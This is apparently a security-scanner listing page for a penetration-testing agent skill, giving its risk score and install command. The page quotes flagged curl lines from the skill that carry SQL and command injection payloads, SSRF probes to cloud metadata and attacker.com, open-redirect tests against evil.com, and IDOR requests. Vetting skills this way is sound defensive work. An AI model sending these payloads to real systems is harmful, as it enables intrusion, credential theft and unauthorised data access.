← All skills
common-pentest-methodology
80 / 100 · Low risk
Fine to try.
By HoangNguyen0403/agent-skills-standard (GitHub) · coding · 584 stars · scanned at commit 00ca749
PTES-aligned penetration testing methodology for backend, frontend, and mobile. Provides attack taxonomy, exploit techniques per vulnerability class, and platform-specific test matrices. Use when executing pentest workflow, planning security assessments, mapping attack surfaces, or building threat models.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 2 places.
Sends data to these websites: 169.254.169.254, attacker.com, evil.com, $target
The author does not mention this.
Found in 21 places.
Show 17 more
- skills/common/common-pentest-methodology/references/exploit-techniques.md, line 13
curl "$TARGET/api/users?id=1; WAITFOR DELAY '0:0:5'--" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 21
curl "$TARGET/api/convert?file=test;id" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 22
curl "$TARGET/api/ping?host=127.0.0.1;whoami" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 24
curl "$TARGET/api/convert?file=test;sleep+5" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 30
curl "$TARGET/api/fetch?url=http://127.0.0.1:6379" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 31
curl "$TARGET/api/fetch?url=http://169.254.169.254/latest/meta-data/" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 33
curl "$TARGET/api/fetch?url=http://attacker.com/redirect-to-internal" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 43
curl "$TARGET/api/admin/users" -H "Authorization: " - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 44
curl "$TARGET/api/admin/users" # no header at all - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 50
curl -H "Authorization: Bearer $USER_A_TOKEN" "$TARGET/api/orders/1001" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 51
curl -H "Authorization: Bearer $USER_A_TOKEN" "$TARGET/api/orders/1002" # belongs to user B - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 53
curl -H "Authorization: Bearer $TOKEN" "$TARGET/api/users/$OTHER_USER_UUID/profile" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 59
curl -X PUT "$TARGET/api/users/me" -H "Authorization: Bearer $TOKEN" \ - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 90
curl -I "$TARGET/login?redirect=https://evil.com" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 91
curl -I "$TARGET/oauth/callback?next=//evil.com" - skills/common/common-pentest-methodology/references/exploit-techniques.md, line 93
curl -I "$TARGET//evil.com" - skills/common/common-pentest-methodology/references/platform-recon.md, line 41
curl -s -o /dev/null -w "%{http_code} $path\n" "http://$TARGET/$path"
and 1 more places
Other copies in this repository
HoangNguyen0403/agent-skills-standard has 1 more folder with a skill named common-pentest-methodology. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'common-pentest-methodology' ] || [ -L ~/.agents/skills/'common-pentest-methodology' ]; then echo 'A skill folder named common-pentest-methodology already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/HoangNguyen0403/agent-skills-standard' "$d" && git -C "$d" checkout --quiet '00ca7497a75c323a7e70edaa9beac81cc96c1878' -- 'skills/common/common-pentest-methodology' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/common/common-pentest-methodology' ~/.agents/skills/'common-pentest-methodology' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'common-pentest-methodology' ~/.claude/skills/'common-pentest-methodology' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for HoangNguyen0403/agent-skills-standard shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/HoangNguyen0403/agent-skills-standard/)
Score history
| Date | Version | Score |
|---|
| 2026-11-12 | 00ca749 | 80 |
| 2026-11-08 | d1957d0 | 80 |
| 2026-11-07 | d1957d0 | 60 |